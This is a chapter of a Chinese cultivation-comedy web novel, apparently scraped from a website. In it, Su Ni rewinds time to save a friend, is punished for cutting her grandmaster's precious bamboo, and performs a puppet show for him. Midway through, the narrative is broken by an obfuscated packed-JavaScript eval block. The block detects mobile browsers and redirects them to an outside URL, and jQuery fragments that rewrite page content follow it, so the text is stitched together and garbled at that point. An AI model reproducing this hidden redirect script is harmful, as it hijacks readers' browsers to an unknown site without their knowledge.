35. 守护全世界最好的师姐
作品:《恋爱脑?她电打整个修仙界》 “怎么办呀怎么办……”
苏旎狠狠摇了摇秃鸡,从前总觉得它啰嗦,今日手足无措时,又实在想念它的唠叨。
秃鸡胃里一阵翻江倒海,小小的鸡头都要摇出脑花了。
它连忙睁眼,苏旎抱着它不住的摇,像是搓阿拉丁神灯一般,“别摇了别摇了,要吐了。”
她哭得狼狈,眼泪鼻涕混作一团,见它睁眼就如同救星降世一般,“咯咯哒你终于来了,西陵嫮要死了,怎么办!”
秃鸡大喊,“什么,她要死了?”
晴天霹雳,它才以为她转性从善了,没想到是在外惹祸了。
“我才走一会儿,你怎么就了惹祸!”
“我......”苏旎下意识想还嘴,但好像,确实是因为她,才惹出这样的祸端。
如果不是因为她突发奇想,非要弄一个皮影戏,说不定也不会将万俟砚招来。
一击命中。
西陵嫮受伤的样子,不断在她脑中重现,她被万俟砚一下子打到几米开外,吐了一大团血,在她怀里,还不断的喊疼……
“你别哭嘛,没事的。”
苏旎才想反驳,一滴泪却兀然落在她手心。
原来自己真的在哭啊。
秃鸡慌了神,连忙开口安慰,“没关系,反正男主也死了,她......”
“男主死了,所以,她的命就不重要了吗?”
苏旎死死地盯着它的脸,幽幽吐出几个字,“是不是只有男主活着,她的命才算命,男主死了,她的死活都随便?”
“若是的话,我真该跟西陵嫮道歉,是我毁了她与唯一珍视她如生命的男主初见。”
“不是......”秃鸡连忙煽动鸡翅,为自己解释。
但实话实说,它方才也想得是,无所谓,不重要,男主死都死了……
秃鸡羞红了脸,嗫嚅道,“我是说我有办法,没关系,别担心。”
“什么办法?”
秃鸡:“系统有个回溯丸,你抽到了,就可以回到过去拯救女主,但需要你自己抽......”
“抽!”
系统弹出,苏旎朝着面前的系统和秃鸡,难得虔诚地拜了拜。
【叮!】
苏旎连忙望过去。
【谢谢惠顾,请宿主不要灰心哟……】
苏旎抬手就是一点,她面前的系统好像电流不稳,抽搐一下后重新开口。
【叮!恭喜宿主抽到一万灵力兑换券七张张、回春草两株、回溯丸一颗。】
吃吃吃!
苏旎再睁眼,又回到了半个时辰前,天色阴沉,整个院子只剩她们几个。
万俟砚一声招呼都不打,直接甩出一团黑气,扼住苏旎的脖子,将她卷到空中。
完了,怎么回到这时候了。
苏旎被绑在空中,双手再努力扯着黏液,还是挣脱不开。
苏旎动了动手指,一个电击,逼的黑气四处逃窜,她重重摔到地上。
“我恨你们!你们每个人都对不起我!”万俟砚又一挥衣袖,黑气又一把甩向苏旎。
不是,为什么又冲她来啊!
苏旎瞥了眼转得像陀螺一般的万俟砚,他已经着魔,完全神智不清。她再说什么也无济于事,只能慌忙逃窜。
“呃———”
西陵嫮又挺身而出,挡在她身前。
完了。
苏旎脑中就剩两个字,她要再一次看到西陵嫮,在她怀里流逝了。
那一团黑气来得猛烈,却陡然停在西陵嫮面前,散开。
差一点。
看了郁雾出手,三两下将万俟砚制服。苏旎终于能松口气,放心地瘫倒在地上。
再醒来时,苏旎已安然躺在床上,西陵嫮还是好好地站在一旁。
见她醒来,西陵嫮连忙将她扶起,“你没事吧。”
“西陵嫮,你没事吧!”苏旎牵住西陵嫮的手腕,满脸都是关切。
“没事,万俟砚没伤到我,”西陵嫮摆了摆头,转身给苏旎倒了杯茶,“听说万俟砚被赶回大郢了。玄青烈说他同门相残,便狠狠抽了他十鞭。”
送下了山,那她任务不是完成了?
咯咯哒破门而入,“想多了,还没呢。”
这事可还没完,死生缘断。
苏旎轻叹一口气,她知道,被压榨是她的命运。
不过,只有同门相残吗?
她回忆起那天,他轻轻挥袖,便能轻松杀一个人。
黑气?
那黑气,带着浓厚的血腥味,苏旎只在祸斗身上见过。
他身上怎么会有那东西。
苏旎:“就只是同门相残吗?”
西陵嫮点了点头。
昨天苏旎倒在地上,没过一刻,就见千戮殿来了几人,将万俟砚押走,任凭陈最郁雾怎么阻拦也没用。
苏旎推了推西陵嫮,急声道,“你去将他叫来,我有事问他。”
“干嘛。”陈最倚在门口,好整以暇开口。
苏旎:“玄青烈没有说什么别的吗?”
陈最:“他就说了这些,还应该说什么吗?”
苏旎一个鲤鱼打挺,激动得从床上跳下来,“魔气,那是魔气!”
苏旎不信,连她都知道的,那些仙人会不知道?
陈最沉吟片刻,“你是说,他们暗箱操作隐瞒不发”
“会不会是他被送去千戮殿时,魔气没有显露出来,所以误判了。或是,不想让我们普通弟子听到关于魔气的事,所以故意隐瞒了。”
之前丁茂的事,便被长老们瞒了下来。他们能瞒,玄青烈也能瞒。
苏旎一下子泄了气,喃喃道,“师祖呢?”
“没回呢。”
不然他们也不会拱手让人。
苏旎环顾四周,好像还差一个人,“师姐呢?”
“万俟砚被玄青烈带走后,她便将自己锁在屋里。”
她就知道会这样。
苏旎默默叹了一口气,不过没关系,俗话说长痛不如短痛,这次割断伤口,免得日后溃烂嘛。
“我们去看看师姐吧!”
这个时候她肯定悲伤脆弱难过,正是需要她出手安慰她的时候。
苏旎扯了扯西陵嫮的手,邀她一起去,谁知她手脚凉得惊人,身体硬在原地。
苏旎瞥了她眼一样,她脸色苍白到吓人,不记得从何时起,她就失了魂一边,愣在一边一言不发。
苏旎:“你怎么了,发什么呆啊?”
“我......”西陵嫮手扶额头,好像是身体不适,“你们去吧,我回去休息一下。”
苏旎:“你没事吧?”
西陵嫮:“我还好,只是有些头晕。”
“肯定是忙着照顾苏旎才累晕了,你快回去休息吧,”陈最横了苏旎一样,一言不合就开始嘲讽,“你以为谁都跟你一样,整天使不完的牛劲,能到处跑来跑去。”
切,小女子不同狗语。
苏旎双指堵住耳朵,她才懒得跟他吵,这人就像死皮赖烂的□□,越打他越起劲。
西陵嫮回去休息,刚蹋出一只脚,就又跑回来喊道,“师祖回来了!”
苏旎拉住陈最,“正好,你快去禀告师祖,我去安慰安慰师姐。”
“好。”
长长的廊檐弯弯绕绕,虽然相隔不远,但,这还是苏旎第一次来到郁雾的寝居。
从前,无论是练剑还是闲耍,师姐总是提前到场,准备好一切,等她们几个懒人慢悠悠到场。
她是最好的师姐。
所以,她决不会让她深陷爱情的泥潭。
等她!
师姐,等她来救她!
“咚咚咚”
苏旎敲响了郁雾的门,等了半天也不见回应,索性就直接推门。
门居然没锁!
“当然了,谁会想到有个没礼貌没素质的家伙直接推门闯入啊。”咕咕哒从她身后走出,悠悠吐槽一句。
怎么能说她没素质?
苏旎瘪了瘪嘴,满脸不服气,她这明明是因为爱,满满的关爱!
她这不是担心师姐,才出此下策嘛。
按照常规剧情,师姐跟她敞开心扉,聊个天,便能释然。
她的任务也就此完成……太完美了。
“师姐?师姐!”
苏旎喊了两声,没人答应。
苏旎几步还没走进内屋,陈最便火急火燎地跑过来,扯着苏旎往外走,“你完了。”
“师尊听说你砍了他的宝贝竹子,现在正生气呢。”
怎么这么快就发现了?
苏旎的脚顿了顿,双眼惊恐地瞪着陈最,“不是你说竹子很快就能长好吗。”
这下好了,人回来了,不见东西......苏旎想起游珩那双冷漠的眸子。
必然是要将她大卸八块的。
苏旎的脸色是五彩斑斓的黑,陈最偷瞄了一眼还不够,非要多瞟几眼才满意,“我是说了很快便能长好,但也不能立马就长好啊。这才几天,你当那竹子是什么?”
是了,便是长个小竹笋也得几天。
“不行,”苏旎反手扯住陈最的衣袖,她现在不能去,去了也是白挨一顿打,“你赶紧找个木灵根的道友,帮我把竹子催出来。”
“催出来?”陈最嗤笑出声,“你想多了吧,这竹子不是普通的竹子,日日夜夜受师尊骨血滋养,哪是普通修士说催就能催出的。”
“万一拔苗助长,让竹根烂了,那你就更完蛋了。”
“你!”苏旎一时慌乱,到现在,才发觉到陈最脸上的嬉皮笑脸,他竟然没有一点紧张与愧疚。
苏旎破口骂道,“骗子!”
他就是故意的,忽悠她去砍竹子,看她被罚。
陈最见她看透,也还是装作一副无辜样,“什么叫骗子,我骗你什么了?你就说师祖那竹子是不是你见过的最好的竹子,”
苏旎轻轻点了点头,那竹子中通外直,既坚又韧,她一斧子砍下去,也见不到什么伤痕,属实是好竹。
“那不就是了,”陈最不顾苏旎反抗,强扯着她往师尊那边赶,“我也跟你说过,那竹子很受师尊珍视的。我就提了一嘴,谁知道你真砍了。”
陈最瞥了眼苏旎气呼呼的脸,心中暗爽,风水有轮转,老老实实挨骂吧。
问心殿总是人少,正如现在,哪怕是游珩晕倒了,他的殿内也只多了两三人。
陈最将她送到了地,连忙躲到几米开外,生怕扯上什么罪与罚。
屋内接续走出了云洲、慈严几人,小声嘀咕些什么,脸色都不太好。
等人消失不见了,封安才从里屋走出。
“跪下。”
封安厉声呵斥,难得地头冒火焰。
啊,怎么还要下跪啊。
苏旎心不甘情不愿,但还是跪得利索。
师祖怎么这么脆弱,居然还能被气倒。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14945446|160838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>封安:“苏旎,你知道你砍的是何竹子吗?”
苏旎连忙低头,伸手指认陈最,“是师叔挑唆我去砍的。”
封安看向陈最,陈最则是乖乖低头,也算是默认了。
封安暗暗叹了口气,这师门几个,真是各个都不让人省心,“陈最不用跪了,直接下去领五十鞭宗法。”
陈最:“师叔,不要啊!”
他曾有幸见识过那鞭子的威力,细细得一条鞭子能一下子打出几条青紫色的印子,鞭子上密密麻麻地长着数不清的刺,一鞭子下去,皮肉都能绽开。
封安不语,连个眼神也不分给他。看来他是铁了心要罚他,陈最只能默默退下去领罚。
无所谓,他最多也只用疼个把月,而苏旎,陈最瞥了眼苏旎,哼哼,等着重新蜕皮吧。
陈最出去了,屋殿内又陷入一片寂静。
苏旎跪了许久,封安才幽幽开口,“苏旎,你知道你砍的是何竹子吗?”
苏旎喃喃道,“是师祖很珍视的竹子,但陈最说竹子长得快......”她想着不日便能长回来。
不由得她说完,封安就出口打断她的话,“寻常竹子是长得快,但此竹,你师祖养了六百年,日日以骨血喂养,是别人的救命竹。”
“你还觉得无所谓吗!”
救命竹?
她想过此竹珍贵,但从未想过竹子能救人性命。
苏旎垂下头,不再说话。
这下,再说什么也无济于事了。
封安冷声道,“你跪在此处好好反省,等你师祖醒来再罚你。”
苏旎点了点头,老实跪下,封安又守了几个时辰才离开。
见他背影消失在天边,苏旎松了口气,连忙站起身,锤了锤跪得发疼的腿。
原先的腿还知道麻呢,她这跪了几个时辰,双腿已是完全失去了知觉,她走几步路,也好像在拖着两根假肢,爬来爬去。
师祖的里屋也没什么东西,空荡荡,白茫茫,他躺在床上,也是一脸惨白。
苏旎叹了口气,暗暗祈祷他能早点醒来,但又怕他醒来后责罚她。
她转身要走,却陡然被游珩拉住了手,“别走。”
一只大手牵住了她的衣袖,他手腕生着一道血红的大疤,吓得苏旎往后一退。
苏旎连忙去翻他的抽屉,果然放着几卷纱布,苏旎连忙撕下,准备给游珩缠上。
谁知她轻轻一碰他的手,他就像老鼠见了猫,连忙将手往被子里面缩。
缩什么?
都是几千岁的老年人了,还跟个小孩一样怕看病啊?
苏旎猛地将他手抽出,他的手却像完全折断了一般,露出了小截白骨。
苏旎倒吸一口冷气,吓掉了几滴眼泪。
“吓人吧。”
游珩躺在床上,气若游丝般开口。
肯定啊,像个尸体一样,能不害怕吗。
苏旎哭着点头,轻声询问,“疼不疼?”
游珩:“不疼。”
游珩刚说完这话,就像受到反噬一样,止不住的咳嗽。
怎么可能不疼呢,手就像断骨一般,怎么会不疼呢。
苏旎的眼泪决堤,鼻子也堵得呼不了气,“对不起......”
游珩看她的头都要埋在地上,也说不出什么狠话。她亲手种的竹子,竹子也是被她亲手所砍。
都是命罢了。
游珩温声安慰:“我又放了些骨血,后院的血竹,估计又要从头养起了。”
苏旎眼泪骤停,连忙追问,“骨血是什么?”
“你......没什么。”
苏旎静静地蹲在游珩床前,突然灵光一闪,“师祖,我给你看个东西。”
得了游珩点头,苏旎一溜烟跑了出去,不到一刻又跑了回来。
她抱来几个小人,一个一个给他展示,“师祖你看,这个就是你什么宝贝竹子制成的皮影。”
“可结实了,没一点损坏。”
“我给你表演一段吧,没有幕布也能直接演。”
苏旎一手操持着一个角色,又演上了《当乞丐婆的那些年之我在窑外挖野菜》。
她记得,这个他是全然没看过的。
一共好几个角色,苏旎手忙脚乱,嘴中还要不停地说着台词。
苏旎压根没记剧本,只能凭着记忆乱编:
“薛郎,你带我一起去西凉吧。”
“宝钏,你要等我回来,我一定会身披黄金万甲,脚踏七彩祥云回来的。”
......
等他回来。
游珩原本的笑容愣在脸上,这话他听着耳熟。
独活六百年,是他遭受过最大的酷刑。
失而复得,她却是一副茫茫然的模样。全然不知,她亲手断送了自己最轻易复生的机会......
“可怜我的妻苦守寒窑十八年,日日野菜充饥。”
都是大白话啊。
游珩眉心一颤,越听越不对劲,“原版真是这样演的?”
苏旎连连点头,“当然了。”
反正他又不知道,她说是就是咯。
苏旎将薛郎的小人凑到游珩面前,朗声道,“宝钏,你一定要养好身体,朕一定会接你回去做皇后的。”
“谢陛下,本宫一定会好好养病的。”
苏旎唱完便停了下来,目光炯炯地望着游珩。
游珩:“谢陛下,本宫一定会好好养病的。”